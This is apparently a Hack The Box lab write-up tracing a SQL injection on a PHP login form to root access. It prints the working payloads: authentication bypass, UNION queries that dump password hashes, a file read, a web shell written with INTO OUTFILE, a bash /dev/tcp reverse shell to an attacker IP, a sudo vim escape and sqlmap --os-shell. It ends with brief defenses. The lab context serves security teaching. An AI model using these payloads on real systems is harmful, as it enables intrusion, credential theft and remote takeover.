← Back to writing

Hack The Box: SQL Injection to Shell

Step-by-step walkthrough of exploiting SQL injection to achieve remote code execution on a Hack The Box machine.

Overview

This writeup documents the exploitation of a SQL injection vulnerability discovered on a Hack The Box machine, demonstrating the progression from initial injection to full shell access.

Reconnaissance

Nmap Scan

nmap -sC -sV -oA nmap/initial 10.10.10.XX
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open  mysql   MySQL 5.7.32-0ubuntu0.20.04.1

Web Application

The target hosts a PHP web application with a login form:

http://10.10.10.XX/login.php

Identifying SQL Injection

Testing the Login Form

POST /login.php HTTP/1.1
Host: 10.10.10.XX
Content-Type: application/x-www-form-urlencoded

username=admin&password=test

Response: “Invalid credentials”

Injection Testing

username=admin'&password=test

Response: MySQL error exposed!

You have an error in your SQL syntax; check the manual that corresponds to 
your MySQL server version for the right syntax to use near ''admin''' at line 1

Exploiting the Injection

Authentication Bypass

username=admin' OR '1'='1'-- -&password=anything

Success! Logged in as admin.

Determining Column Count

Using ORDER BY:

admin' ORDER BY 1-- -  ✓
admin' ORDER BY 2-- -  ✓
admin' ORDER BY 3-- -  ✓
admin' ORDER BY 4-- -  ✗ Error

The query returns 3 columns.

Union-Based Extraction

' UNION SELECT 1,2,3-- -

Column 2 is reflected in the response.

Database Enumeration

-- Get database name
' UNION SELECT 1,database(),3-- -
# Result: webapp_db

-- Get table names
' UNION SELECT 1,group_concat(table_name),3 
  FROM information_schema.tables 
  WHERE table_schema='webapp_db'-- -
# Result: users,sessions,config

-- Get column names from users table
' UNION SELECT 1,group_concat(column_name),3 
  FROM information_schema.columns 
  WHERE table_name='users'-- -
# Result: id,username,password,email,role

-- Dump credentials
' UNION SELECT 1,group_concat(username,':',password),3 
  FROM users-- -

Credentials Extracted

UsernamePassword HashRole
admin5f4dcc3b5aa765d61d8327deb882cf99admin
developer098f6bcd4621d373cade4e832627b4f6user
backup81dc9bdb52d04dc20036dbd8313ed055backup

Cracking Hashes

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
098f6bcd4621d373cade4e832627b4f6:test
81dc9bdb52d04dc20036dbd8313ed055:1234

From SQL Injection to Shell

Checking MySQL Privileges

' UNION SELECT 1,user(),3-- -
# Result: webapp_user@localhost

' UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user='webapp_user'-- -
# Result: N

' UNION SELECT 1,file_priv,3 FROM mysql.user WHERE user='webapp_user'-- -
# Result: Y

FILE privilege enabled! We can read and write files.

Reading Files

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:Developer,,,:/home/developer:/bin/bash

Writing a Web Shell

' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 
  INTO OUTFILE '/var/www/html/shell.php'-- -

Testing the shell:

curl "http://10.10.10.XX/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse Shell

Listener Setup

nc -lvnp 4444

Trigger Reverse Shell

curl "http://10.10.10.XX/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.XX/4444+0>%261'"
www-data@target:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Enumeration

# Check sudo permissions
sudo -l
# User www-data may run the following commands:
#     (developer) NOPASSWD: /usr/bin/vim

# Find SUID binaries
find / -perm -4000 2>/dev/null

Sudo Vim Escape

sudo -u developer vim -c ':!/bin/bash'
developer@target:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@target:~$ cat user.txt
HTB{SQL_1nj3ct10n_t0_Sh3ll}

Root Escalation

Checking for credentials in config files:

cat /var/www/html/config.php
<?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'R00tDBP@ss!';
$db_name = 'webapp_db';

Testing password reuse:

su root
Password: R00tDBP@ss!

root@target:~# cat /root/root.txt
HTB{Fr0m_SQLI_t0_R00t}

Automated Exploitation with SQLMap

For reference, SQLMap can automate much of this:

# Dump database
sqlmap -u "http://10.10.10.XX/login.php" --data="username=admin&password=test" \
    -p username --dbs

# Get shell directly
sqlmap -u "http://10.10.10.XX/login.php" --data="username=admin&password=test" \
    -p username --os-shell

Defense Recommendations

  1. Use parameterized queries

    $stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');
    $stmt->execute([$username]);
  2. Principle of least privilege — Database users should never have FILE privilege

  3. Web Application Firewall — Block common injection patterns

  4. Input validation — Whitelist allowed characters

  5. Disable error messages — Never expose database errors to users

  6. Stored procedures — Encapsulate database logic

Summary

StageTechnique
DiscoveryError-based SQLi detection
EnumerationUNION-based extraction
File AccessMySQL LOAD_FILE/INTO OUTFILE
Initial AccessPHP web shell
Privesc 1Sudo vim escape
Privesc 2Password reuse

Total time: ~2 hours

Key Takeaway: A single SQL injection vulnerability, combined with misconfigured database permissions, led to complete system compromise.